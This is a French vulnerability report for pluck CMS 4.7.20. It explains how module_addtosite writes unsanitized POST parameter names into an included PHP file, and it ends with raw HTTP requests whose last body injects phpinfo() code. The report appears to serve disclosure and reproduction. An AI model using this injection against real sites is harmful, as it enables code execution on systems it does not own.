
pluck-CMS-4.7.20-code-injection-vulnerability
Dans admin.php, la fonction module_addtosite parcourt l'intégralité du tableau $_POST, divise les noms de paramètres contrôlables par l'utilisateur à l'aide de explode('|', ...) et les concatène directement dans data/settings/themes//moduleconf.php. Ce fichier sera ensuite inclus dans la page backend et dans le processus de rendu theme_area() du frontend. Étant donné que les noms de paramètres n'ont pas subi de vérification de liste blanche ni d'échappement de sécurité, les attaquants peuvent contaminer les fichiers PHP exécutables, ce qui entraîne des vulnérabilités d'injection de code.
Adresse du projet : https://github.com/pluck-cms/pluck/
Environnement de reproduction : pluck-CMS-4.7.20 Apache2.4.39 PHP7.3.4 MySQL8.0.12
Tout d'abord, installez un tout nouvel environnement.
Accédez à la page "/login.php", connectez-vous avec le compte administrateur, et après une connexion réussie, notez le Cookie actuel comme suit : login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
GET /admin.php?action=start HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/login.php
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
POST /admin.php?action=module_addtosite HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/admin.php?action=start
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
save=1%3Bphpinfo%28%29%3B%2F%2F%7Cm%3D11